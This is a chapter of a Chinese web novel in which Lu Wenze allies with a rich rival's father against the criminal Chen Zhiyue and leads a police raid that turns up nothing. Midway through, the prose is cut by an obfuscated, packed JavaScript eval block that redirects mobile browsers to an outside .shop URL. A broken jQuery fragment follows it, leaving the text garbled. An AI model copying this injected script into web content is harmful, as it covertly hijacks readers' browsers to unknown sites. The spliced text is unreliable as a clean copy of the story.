70. chapter 70
    陈家的底细,陆闻泽是差不多清楚的。

    因为仇恨,所以比别人更了解对方。

    陈健霖背地里做的勾当见不得光,但陈炙越的所有买卖却是合法的。虽然违背道德且手段残忍,但在法律上这块无懈可击。

    毕竟法律认理不认情,不会因为一个坏人做的事有多缺德而惩治他。

    唯一能抓住把柄的,恐怕只有六年前林挽母亲的命案。但与当年相关的所有线索,都被处理得一干二净。

    陈炙越手上肯定不只沾了一条人命,但案发地点大多在国外,不归内陆派出所管。

    对比常年活跃在泰国和澳门附近的陈炙越,陆闻泽在非内陆地区的势力明显要弱势许多。

    去陈炙越的地盘跟他对着干,无疑是死路一条。

    更何况他行事谨慎,每次结束后都会派人清理现场,并用特殊方法堵住当地警方的嘴,做得天衣无缝。

    对了……那个人。

    一个人名浮现在陆闻泽脑海,顿时让他重燃希望。

    恨陈炙越的,可不止自己一个人。

    陈健霖似乎也很想让他消失。

    如果是s市首富的话,应该可以做到吧。

    说来讽刺,明明前不久还讽刺陈家的财产来路不明,认为他们贪黑钱很不耻,可现在却连同自己也渴望着他的帮助。

    权力是一种十分奇妙的东西,人们厌恶它,却又不得不服从它。

    逐渐迷失本性,陷入疯狂。

    想不到有朝一日,他也会变成心目中最不屑一顾的那种人。

    苦难铸就的底色,让他不得不硬着头皮往上爬。仰望着头顶的灯火,道德底线在新时代的光辉下化为灰烬。

    但除了依靠陈健霖的财势,陆闻泽实在想不到更好的方法。

    以他自己的力量,不可能扳倒陈炙越,甚至用尽全力也无法对他造成多大损失。所以他必须找一个人,借助对方的力量摧毁陈炙越身前的防御墙。

    痛恨陈炙越,同时自身手里又掌握着至高权力的,大概只有陈健霖一人能满足这两点。

    陆闻泽没有耐心再等下去。

    他怕林挽受到伤害。

    见面那天,陈炙越轻描淡写的一句话,足以让他提心吊胆好几天。

    他不会再因时代的胁迫而让步。

    六年前,他对陈炙越的恶行无所作为。因畏怯而犹豫,才导致身边人一直受伤害。

    倘若真的再由他抢走喜欢的人,陆闻泽大概会懊恼一辈子。

    那是一种无法言喻的心情,就好比飞蛾扑火,即使知道自己会被烧死,即使火焰已经吞噬骨头,也要不顾一切地往里钻。

    陆闻泽平时用的人都是父亲的部下,调查陈炙越的事自然瞒不过他。

    知道陆闻泽打的主意后,陆父极力反对他的做法:“你知道你在干什么吗?”

    并不是考虑到自己的利益,而是为了亲人的安全。

    “知道,我很清楚我的想法。”

    “很清楚你的想法?”陆父气笑了,“那你知道,你这样做会带来什么样的后果吗?”

    “小时候就告诉过你,做事前先想清楚后果,不要得不偿失。看来你是一点儿也没听进去。”

    坏话说在前头,但陆父还算尊重儿子的想法,问道:“说吧,好端端的为什么要跟他对着干?你们应该很久没有见过面了吧,互不干涉的,他又碍着你什么事了?”

    陆闻泽正思考着该如何组织语言,就被父亲猜出了个大概:

    “是因为那个女生?”

    小一辈的事,做什么都瞒不过长辈。

    陆闻泽没有否认,只是强调:“她不是别人,是我女朋友。”

    因为跟其他人不一样,所以不能放任她不管。

    虽然两人已经确认关系许久,但陆父从未把林挽称作自己儿子的女朋友。就连聊天时提到,都是用全名代替。

    他调查过林挽的背景:童年家境贫困,父母离异,跟随的母亲于几年前过世。十八岁那年拿着赔偿金和奖学金去了英国留学,回国后当了一名律师。

    混得不算差,但也说不上多好。

    在普通人眼里,这可能是一段通过坚持不懈的努力,最终走向成功的故事。但陆家毕竟不是普通家庭,陆父的衡量标准也非平常人。

    他在乎的只有那个女生的家境,以及对陆家产业的发展是否有帮助。

    很明显,林挽没有达到他理想的标准,更别提她还有一个混乱的家庭。

    相比她,陆父更希望儿子能找一个和他门当户对的女生。

    若是真的谈及心目中的最佳人选,那便是董思嘉。

    他知道陆闻泽和她当了几年的好朋友,所以曾试图给他们制造独处的机会,结果两人的聊天话题纯洁得不能再纯洁。

    陆父不看好林挽,可偏偏陆闻泽喜欢得紧,他这个做父亲的只好由着他,也慢慢接纳了林挽。

    直至前不久,他得知了一个极度震惊的消息——

    这个女生曾在陈家住过两年。

    陈健霖那种唯利是图的人,肯定不会大方到收留儿童。

    唯一的解释就是,林挽跟陈家有着不浅的关系。

    其他的陆父都可以不管,但他决不能让陆闻泽因此受到伤害。

    相信不止是他,换作任何一个家长,都不会允许这种事发生。

    没必要因为一个毫无利益价值的女生,挑起和陈炙越之间的冲突。

    而陆闻泽虽然不反骨,却是个犟种。

    他根本不在乎敌人是谁。

    陆父年纪大阅历高,见识过太多为了感情一时冲动的年轻人。

    他不想让陆闻泽也变成这样,于是劝

    说道:“平心而论,林挽真的很重要么?”

    “重要啊。”他坚定的目光灼灼,明知不可为而为之,“不然我为什么要付出这么多努力?”

    他唯一见不得的,就是她受委屈。

    “既然真的想做,那就去吧。”

    闻言,陆闻泽不可思议地抬眸,似乎没想到一向固执的父亲态度会转变得这么快。

    “出了事情自己担责,别牵扯到我和你妈就行。”

    这一刻,陆闻泽忽然无比庆幸,他有个尊重自己想法的父亲。

    看见他开心,陆父沉思片刻,给出心里的回答——

    “希望你不会后悔。”

    -

    这些年,在地产方面,陈健霖一直在和陆父合作。

    因为陆父的关系,陆闻泽有了私下会见陈健霖的契机。

    他知道陈健霖急于打压陈炙越,于是对他说出了自己的计划,希望能得到他的帮助。

    陈健霖不是个乐于助人的人,如果是其他请求,他必然会拒绝。可偏偏涉及到了陈炙越,陆闻泽提出的方案正好能实现他的预期。

    最重要的是,陆闻泽承诺,这次的所有后果由他来承担,不会牵扯到陈健霖。

    换句话说,陈健霖只需要在特定的时候给予他一点帮助就行,其他的什么都不用做。

    陈炙越的势力不容小觑,想要从根本上铲除他,是一件极其困难的事,搞不好会因此丧命。

    而即便成功,也会给自己造成巨大损失,比两败俱伤好不到哪里去。

    所以,这时候能有个替罪羊再好不过。

    反正陈健霖最不缺的就是金钱和人手。

    而陆闻泽脑子转得快,把策划的事交给他,效果说不定会更好。

    “反正六年前发生的车祸,以及陈炙越后来制造的种种命案,只有您最清楚,不是么?”

    陆闻泽噙着淡淡的笑意,眼底荡开的尽是诡计。

    时隔多年,再次听到这件被埋没的案子,陈健霖还是会心尖一颤。

    他最后悔的事,就是在那时包庇了陈炙越。

    念在十几年的父子情分上,他选择了放过陈炙越,就当是对他和他母亲的亏欠。

    本以为把他送走后,两人能各过各的,可没想到他的执念那么深,从未放弃过回来。

    倘若把犯下命案的陈炙越交到警察手里,就不会有现在的局面。

    ——是他一时心软酿成的大错。

    ……

    有了陈健霖提供的渠道,陆闻泽调查起来方便许多。

    他了解到,每个月的十五号,陈炙越会收到一笔来自大型地下娱乐场所的巨额汇款,其金额已经远远超出了普通商业盈利的范围。

    不用想也懂得里面的蹊跷。

    陆闻泽怀疑,那家场所是陈炙越的地下“仓库”,相当于货物中转站,由别人把东西运送到那里,再由陈炙越过去取。

    由此一来,行事更加隐蔽,大大降低了被一网打尽的可能。

    陆闻泽托人偷偷跟踪他每天的去向,可他不是去公司就是去见其他商业老板,连着好几日都一无所获。

    终于在第六天,他发现陈炙越进了一家位置十分隐蔽的地下娱乐场所,应该就是给他的“仓库”。

    陆闻泽急于求成,一心想要抓住他的把柄,得到消息后立即报了警,带领一批警察赶往目标地点。

    找进去的时候,陈炙越正独自坐在吧台饮酒。

    警员人数多,制造出的动静不小。看见身着警察制服的人闯入,台上的舞女怕被以为自己在从事不法职业,手忙脚乱地跑下台。围在舞池前的人们也纷纷四散而逃,生怕自己被牵扯到什么案子里。

    周遭的混乱与陈炙越淡定的神情形成了鲜明对比,直到喝完高脚杯里的最后一口酒,他才不紧不慢地开口:

    “……宋警官不请自来,有何贵干?”

    听到他精准无误地喊出为首警官的姓氏,陆闻泽有些担心他们是否互相认识。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187728|125094||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    官匪勾结的情况并不少见,他不敢保证每一个警察都是完全正义的。

    如果宋警官也是陈炙越的人,那就不仅仅是抓捕行动成败的问题了,很有可能直接导致陆闻泽陷入危险的境地。

    好在宋警官为人正直,他严肃地出示警察证,声音洪亮:

    “我们接到报案,有人举报你们会所存在不法交易。”

    面对如此严峻的形势,陈炙越倒也不慌乱,抬起头应对自如:

    “宋警官,我想你们是不是搞错了,我不是经营这里的老板。”

    “我们查询到你与这个会所有长期的资金来往,存在进行不法交易的嫌疑,现在请配合我们的调查。”

    陆闻泽几乎敢肯定,陈炙越的把柄就在这里。

    一旦金额超过一定范围,就属于重大的刑事案件。把事情闹大,他就很难脱身。

    陆闻泽以为他会想办法拖延时间,可没想到,陈炙越只是停顿几秒,便落落大方地同意了:

    “舞台帘子后面有个试衣间,大厅最右侧有个通道,往里走是储物间和休息室,你们去搜吧。”

    罪犯都是害怕被警察查出把柄的,可他脸上非但没有一丝恐慌,反而十分听话地让开一条路,为他们指明方向。

    “但如果没有搜到任何违禁物品,我希望宋警官能向我道歉,并且赔偿我今晚的损失。”

    不知是不是错觉,陈炙越明面上在跟宋警官交谈,可锐利的目光却穿过其他警察,不偏不倚地定格在人群最后面的陆闻泽身上。

    似乎这话是对他说的。

    “毕竟我的顾客都被吓跑了。我只是个临时替老板看店的,要是他回来看到这么一副糟糕的景象,我该怎么跟他交代?”

    “放心,如果检查无误的话,我们自然会赔偿店内相应的损失。”

    怪怪的。

    从进门起,陆闻泽就感觉哪里不太对劲。

    明明陈炙越才是被搜捕的人,可他却对办案的警官咄咄逼人。

    仿佛警察才是被动的一方。

    位置完全颠倒了。

    难道他真的一点儿也不怕法律的制裁吗?

    对上他势在必得的眼神,陆闻泽隐隐有些不安。

    金碧辉煌的昂贵灯饰映射出一群人忙碌的身影。宋警官和十几个警员分头寻找,加快搜查进度。

    方才人满为患的角落里,只剩下陆闻泽和陈炙越两人。

    “真难缠。”陈炙越皮笑肉不笑地轻哼,彰显着几分不屑。

    见他这般傲慢,陆闻泽忍不住问:“宋警官跟你很熟?”

    “还真不熟。”他嗤笑一声,“偷偷跟踪我,还弄来这么多警察,废了不少功夫吧?”

    “感谢你这么在乎我,可惜没什么用。”

    “怎么,你又要贿赂警官,让他们帮你把东西藏起来吗?”

    陈炙越撩下眼皮,睥睨地扫了他一眼:“别污蔑我,我可不认识什么宋警官。”

    “你怎么知道他姓宋?”

    “s市就那几个派出所,天天出来办案的知名警官,我知道姓氏不是很正常?我还没有落魄到要对你说谎的地步。”

    要是说前几次,他跟警察局局长有关系,那陈炙越无法反驳。

    但这次的确不是他的人。

    他又不是所有警官都认识。

    “你要是不信,就跟着他们一起搜好了。多一个人正好快一点,我还赶着下班。”陈炙越满不在乎地望向宋警官刚刚进入的房间,丝毫没有作为嫌疑人的自觉。

    都这个时候了,竟然还想着快点下班。

    陆闻泽正好也怀疑这些警员的立场,于是跟随宋警官的脚步来到储物间,把他们刚搜过的地方又搜了一遍。

    除了库存的酒水、玻璃容器和一些杂物,没有任何东西。

    细心的警员用仪器提取部分酒水,检测其中的成分,却发现里面都是些酒精、乙醇、糖分、乳酸等普通化学物质,含量也正常。

    陆闻泽不死心,又去了幕后和休息室,包括大厅的每一个角落,他都一处不漏地进行地毯式搜索。

    一圈下来,一无所获。

    如果不是手里有陈炙越和这家会所的交易记录,他都要怀疑自己找错了地方。

    没有道理。

    陆闻泽敢断定,陈炙越在这儿一定有不可告人的秘密,不然也不会定期过来一趟。

    可为什么会什么都搜不出来?

    “报告,休息室未发现异常!”

    “报告,舞台幕后也未发现异常!”

    ……

    听着一遍遍汇报结果,陆闻泽坚定的眼神逐渐转化为空洞,像是与外界隔绝了一层纱雾。

    他不可思议地抬起头,正对上陈炙越淡然的视线。

    从那氤氲着冷雨滂沱的瞳孔中,他窥见真理之塔轰然崩塌的影像。